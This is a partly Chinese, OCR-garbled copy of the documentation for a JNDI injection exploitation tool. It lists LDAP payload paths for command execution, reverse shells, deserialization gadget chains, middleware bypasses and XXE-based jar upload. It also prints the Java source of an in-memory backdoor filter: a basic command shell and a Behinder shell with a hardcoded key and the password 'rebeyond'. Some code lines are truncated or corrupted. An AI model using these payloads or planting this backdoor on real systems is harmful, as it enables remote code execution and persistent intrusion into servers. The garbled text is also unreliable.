

```
ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
                       ldap://127.0.0.1:1389/Basic/TomcatEcho
                                                                                                                         NOV
1 capture
                       ldap://127.0.0.1:1389/Basic/WeblogicMemshell
                       ldap://127.0.0.1:1389/Basic/JBossMemshell
                       ldap://127.0.0.1:1389/Basic/WebsphereMemshell
                       ldap://127.0.0.1:1389/Basic/SpringMemshell
                    [+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
                       ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
                       ldap://127.0.0.1:1389/Deserialization/CommonsCollections1/Dnslog/[domain]
                       ldap://127.0.0.1:1389/Deserialization/CommonsCollections2/Command/Base64/[base64_encoded_cmd]
                       ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
                       ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
                       ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
                       ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
                       ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell ---ALSO support other memshells
                   [+] TomcatBypass Queries
                       ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
                       ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
                       ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
                       ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
                       ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
                       ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
                       ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell
                       ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
                    [+] GroovyBypass Queries
                       ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
                       ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
                    [+] WebsphereBypass Queries
                       ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
                       ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
                       ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
                       ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
                       ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
                       ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
                       ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../tmp/jar_cache780816748954952
                   • 目前支持的所有 PayloadType 为
                       ● Dnslog:用于产生一个 DNS 请求,与 DNSLog 平台配合使用,对 Linux/Windows 进行了简单的适配
                       • Command:用于执行命令,如果命令有特殊字符,支持对命令进行 Base64编码 后传输
                       • ReverseShell:用于 Linux 系统的反弹shell,方便使用
                       • TomcatEcho:用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义 header cmd: who ami 的方式传递想要执行的命令
                       • SpringEcho:用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要
                         执行的命令
                       ● WeblogicEcho:用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要执行的命
                         令
                       • TomcatMemshell:用于植入 Tomcat内存shell , 支持 Behinder shell 与 Basic cmd shell
                         SpringMemshell:用于植入 Spring内存shell , 支持 Behinder shell 与 Basic cmd shell
                       • WeblogicMemshell:用于植入 Weblogic内存shell, 支持 Behinder shell 与 Basic cmd shell
                       • JettyMemshell:用于植入 Jetty内存shell , 支持 Behinder shell 与 Basic cmd shell
                         JBossMemshell:用于植入 JBoss内存shell , 支持 Behinder shell 与 Basic cmd shell
                       • WebsphereMemshell:用于植入 Websphere内存shell, 支持 Behinder shell 与 Basic cmd shell

    目前支持的所有 GadgetType 为

                         URLDNS
                         CommonsBeanutis1
                         CommonsBeanutis2
                         CommonsCollections1
                         CommonsCollections2
                       • C3P0
                       • Jdk7u21
                       • Jre8u20
                   • WebsphereBypass 中的 3 个动作:
                       • list: 基于 XXE 查看目标服务器上的目录或文件内容
                       • upload: 基于 XXE 的 jar协议 将恶意 jar包 上传至目标服务器的临时目录
                       • rce: 加载已上传至目标服务器临时目录的 jar包,从而达到远程代码执行的效果(这一步本地未复现成功,抛
```

thread is not allowed. 异常,有复现成功的小伙伴麻烦指导下)

java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server

• 采用动态添加 Filter/Controller 的方式,并将添加的 Filter 移动至 FilterChain 的第一位

● 内有 shell 的兼容性测试结果请参考 memshell 项目

● Basic cmd shell 的访问方式为 Vanvthing?tvpe=basic&pass=[cmd]

● Behinder

在访问时需要添加 X-Options-Ai 头部,密码为 rebeyond

植入的 Filter 代码如下:

1 capture

```
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOExcept
                 System.out.println("[+] Dynamic Filter says hello");
                 String k;
                 Cipher cipher;
                 if (servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
                          k = servletRequest.getParameter("pass");
                          if (k != null && !k.isEmpty()) {
                                   cipher = null;
                                   String[] cmds;
                                   if (File.separator.equals("/")) {
                                            cmds = new String[]{"/bin/sh", "-c", k};
                                            cmds = new String[]{"cmd", "/C", k};
                                   }
                                   String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
                                   servletResponse.getWriter().println(result);
                 } else if (((HttpServletRequest)servletRequest).getHeader("X-Options-Ai") != null) {
                          try {
                                   if (((HttpServletRequest)servletRequest).getMethod().equals("POST")) {
                                            k = "e45e329feb5d925b";
                                            ((HttpServletRequest)servletRequest).getSession().setAttribute("u", k);
                                            cipher = Cipher.getInstance("AES");
                                            cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + '
                                            byte[] evilClassBytes = cipher.doFinal((new BASE64Decoder()).decodeBuffer(servletRequest.getReader().reac
                                            Class evilClass = (Class)this.myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class.getDeclaredMethod("defineClass", by
                                            Object evilObject = evilClass.newInstance();
                                            Method targetMethod = evilClass.getDeclaredMethod("equals", ServletRequest.class, ServletResponse.class);
                                            targetMethod.invoke(evilObject, servletRequest, servletResponse);
                          } catch (Exception var10) {
                                   var10.printStackTrace();
                 } else {
                          filterChain.doFilter(servletRequest, servletResponse);
        }
```

会主

- https://github.com/veracode-research/rogue-jndi
- https://github.com/welk1n/JNDI-Injection-Exploit
- https://github.com/welk1n/JNDI-Injection-Bypass

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Make software development more efficient, Also welcome to join our telegram.

EXTRAS

FAQ







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